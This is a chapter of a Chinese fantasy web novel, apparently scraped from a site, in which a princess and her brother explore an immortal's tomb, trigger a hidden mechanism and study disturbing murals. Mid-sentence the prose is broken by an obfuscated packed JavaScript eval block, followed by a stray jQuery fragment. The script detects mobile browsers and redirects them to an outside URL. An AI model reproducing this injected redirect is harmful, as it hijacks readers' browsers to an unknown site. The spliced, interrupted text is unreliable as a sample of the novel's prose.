季献桃咚一声跳进了干涸的阴阳池。
“阿姊!”姬瑶池惊声道,想也不想跟着跳了下来,揪住她衣角,“你就没想过,万一有危险怎么办?”
季献桃大咧咧,“没事,我这不跳下来还完完好好的吗?”
姬瑶池怒气冲冲,“要是有事就晚了!”
季献桃不服气地瞪着他。
姬瑶池气势分毫不让,挡在她面前,颇有种不服软就别想离开的死犟。
区区一个弟弟,想造反了?
季献桃撇嘴,“行了,以后我注意点就是。”
姬瑶池这才展颜,恢复到平时笑容甜蜜无害的模样,“阿姊最好了。”
好话说一箩筐也没用。
季献桃本就不是粗心冒进的性格,方才那样子只是做给他看。
识海中的锦鲤正疯狂提示她。
这片池中,有什么东西未被盗墓贼搜刮干净。
仙人之遗藏,哪怕只是随便取用一丝,都够她受益无穷了。
离开仙墓不一定还能申请二次进入。
得把握住这次机会,赶在其他学生到来前搜刮干净,就是身边这个粘人精有点麻烦。
不想同他掰扯,干脆装作冒冒失失跳入池底。
“仙墓中的菜肴大抵被搬空,这座阴阳池是少数几个留存下来的。”
季献桃随意指向一处,“而且你看,池壁上刻了许多符文,我们可以临摹下来等日后研究。”
姬瑶池迟疑,“还是要小心,仙家符咒不宜轻易接触。”
“两种可能。”季献桃竖起两根手指,“阴阳池被盗墓贼放过,一是没多少价值,二就是实在太危险。”
“但如果真这么危险,国师不会放任我们乱来。”
姬瑶池被说服了,取出身份玉牌,乖巧配合她录下阴阳池的留影。
终于将人支开,季献桃松了口气。
跟随锦鲤的指引,来到阴阳池最中心的位置,见鱼尾在识海中拖曳下长久不散的涟漪,隐隐构成一道符文。
季献桃会意,并指为笔,灵力为墨,将这道符文书写在池底符阵上。
灵力散发的微光霎时一亮,如同蜉蝣生物惊起的荧光,在水中飞速扩散,一闪而逝,沿着池底镂刻的纹路纵横交错扩张。
轰隆隆——
姬瑶池当然注意到这丝不同寻常的闪光,尚未回过神,便听得石块碾摩的声响,脚下地面正在震动。
陡然间背后一股巨力袭来,姬瑶池只来得及扭过头,见季献桃一把将他甩出池子。
她自己却跌入阴阳池裂开的缝隙中。
轰——
又是一声,池底机关闭合,一切似乎恢复如常。
姬瑶池惊怒交加,再次跃入池中,疯狂寻找机关存在的痕迹。
“国师,国师呢!”
他顾不得许多,以命令的口吻,冲远处司命戎厉声道:“快救阿姊!”
季献桃狠狠摔了个屁股墩。
经她这么一砸,人鱼膏烛自行点燃,光线照进她所在的地方。
很狭窄,像一道烟囱口,站起身天花板就会顶到脑袋,两侧空间只够勉强伸展双臂。
她维持一个别扭的姿势,冲锦鲤抱怨,“这是哪儿?你也没告诉我会有这出啊。”
麻烦了,待会儿该怎么与大部队汇合,又该怎么解释?
锦鲤懒得搭理她,昂起脖子,示意她往上看。
季献桃心想来都来了,于是照做,只见这处穹顶,也就是原先阴阳池的底部,飘浮着一团小小的橙红光芒。
十分微弱,如同将熄的烛火。
季献桃还在犹豫,锦鲤已经一个摆尾蹿出识海,脑袋顶着那团光芒,游回幽波池,留给她一个眼神,示意这玩意儿是好东西。
“……”
这鱼,自主性是不是太强了点?
季献桃全程还什么都没做,事情就被它安排妥当了,识海中锦鲤安分下来,绕着那团光转圈圈。
反正来都来了。
季献桃心平气和告诉自己,钻出狭小的烟囱口,惊讶发现亮着人鱼烛的地方依然是宽广墓道。
如果说她之前所在是一张宴会长桌,桌上是琳琅满目的菜肴。
那么现在这条墓道就相当于后厨。
譬如刚才那座烟囱口,就是煮太极阴阳龙肝凤髓火锅池的灶台,那团微光又是否是烹饪用的火源?
季献桃按耐下诸多猜测,打算等回去后再研究。
当务之急是与学府师生汇合,她落在的地方恐怕就是司命戎规定的禁区,不让学生靠近。
眼下国师应当在姬瑶池的命令下,正要来找她。
季献桃选择乖乖在原地等待。
没让她等多久,墓道中远远传来脚步声。
听声音只有一人,走得不疾不徐,同时传来的还有司命戎的嗓音,“殿下?”
季献桃轻轻应了声,国师顿时寻得方位,快步上前。
见她安然无恙,司命戎弯起眼睛笑了笑,“殿下平安就好,瑶池殿下因为这事,可把我训得不轻。”
“我这老师的面子还要不要了?”他十分委屈,毛茸茸的白发动了动,钻出一只三角形蛇脑袋,冲他发出嘶嘶的嘲笑。
季献桃挠了挠脸,“对不住,明明是我不听劝到处乱摸。”
“是啊。”司命戎随口附和,一指头将蛇摁回去,“摸索出了一道我都不曾发现的机关。”
季献桃哑口无言。
司命戎没有追究的意思,“殿下随我来吧,此处并不安全。”
季献桃点点头,跟在他身后,见机械蛇再次钻出来,猩红的蛇瞳盯着她瞧。
她打了个招呼,机械蛇却嗖一下钻了回去。
季献桃的手尴尬停在半空,遗憾了片刻,随即想到有一个高修为且对此地了解的人在,她终于可以安下心观摩两侧壁画。
这一看就让她发现了不对劲。
季献桃蓦地停下脚步,目光死死定格在一幅画上。
司命戎察觉她的古怪反应,没出声,安静站在一旁等候。
倒映在季献桃眼中的画,主角已不再是饕餮星君,金红锦衣的少年混迹在煌煌群仙中毫不起眼。
画面上大地裂开,海水倒灌,无数外形张牙舞爪的生物从地裂中涌出。
那是妖魔。
为首的妖魔双手捧着什么物件,呈递给众仙。
至于那物件具体是什么,壁画竟然被毁坏,唯独那一块内容被抹去。
到底是谁做的?为什么要藏匿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508642|170333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来?那东西是什么?
妖魔不是被驱赶至八荒了吗?为何画上显示他们从天堑海渊蜂拥而出?
无数疑问在心底翻涌,季献桃皱紧了眉头,重新迈开急促的步伐,看向后续壁画。
妖魔离开了,群仙围绕那物件发生争执,甚至分裂两派大打出手。
画面上有关那东西的内容依旧是空白。
再下一幅壁画中,其中一派仙人得到了它,季献桃没在其中看到饕餮星君的身影。
紧接着画面像是中途截断。
视角重新回到饕餮星君身上,他再次举办了宴会,仿佛波澜从未发生过。
后续的壁画无一例外是星君宴邀众仙,只是桌上的食物从美酒佳肴,逐渐变得诡异又惊悚。
起初是一锅肉汤里,伸出几只蹄子爪子。
粗心大意的烹饪,实在对不上饕餮星君的作风。
再后来从珍馐上流淌腐臭的脓水,酒杯里倒出污浊的泥浆,用餐的众仙一个个吃得肥头大耳,身躯却愈发消瘦。
饕餮星君兀自把玩酒盏,并未动筷。
下一幅画,宴台上已然狼藉一片,各种食物被无情打翻,滚落的残渣中依稀可见眼球牙齿与毛发。
众仙吃得失去了人形,不顾仪态趴在地上大快朵颐。
季献桃已经看得心理不适。
不知不觉走到最后一幅壁画前,仰头,画上的星君终于有所动作。
他慢条斯理撕下一块自己身上的肉,放入口中细细咀嚼,模糊的眉目露出陶醉神情。
就这样一口又一口,将自己吞吃殆尽。
季献桃搓搓手臂,只觉得毛骨悚然,看向身侧司命戎,“国师,这些壁画究竟是怎么一回事?”
司命戎轻笑一声,“仙墓乃天道所建。”
“那个年代时局混乱,各宗各派自身难保,实在想不到怎样的能工巧匠有余力为每一位陨落的仙人修建墓穴,除了天道外别无他选。”
“仙墓就像是自然形成的秘境,与中洲大陆的万物生灵一般,是诞生自天道的产物。”
“所以。”司命戎指了指壁画,“这些画都是如实呈现仙人生前的记忆。”
“做不得假的。”
季献桃一时沉默下来。
司命戎却道:“我与殿下一样,对仙墓的秘密分外好奇。”
“在我探索过的众多仙墓中,几乎都有妖魔献上某物,群仙因此大打出手的画面,且无一例外最关键的部分被抹去。”
“这物件究竟是什么,仙神消亡是否与此有关,妖魔又扮演怎样的角色?”
季献桃专注聆听。
“我也不知道。”司命戎摊手。
季献桃:“……”
司命戎语气无辜,“就是为了获悉答案,这些年我才频繁出入仙墓。”
他笑吟吟道:“不过最近有了些头绪,殿下想听吗?”
季献桃最恨被吊胃口,毫不犹豫点头。
“那就先随我进去再说。”司命戎站定在一扇石门前,“前方就是主墓室,安葬饕餮星君的地方。”
“只有通过这里,才能回到最初那条墓道。”
司命戎推开门,率先踏入,笑容隐没在光线明暗交界处。
“殿下,请吧。”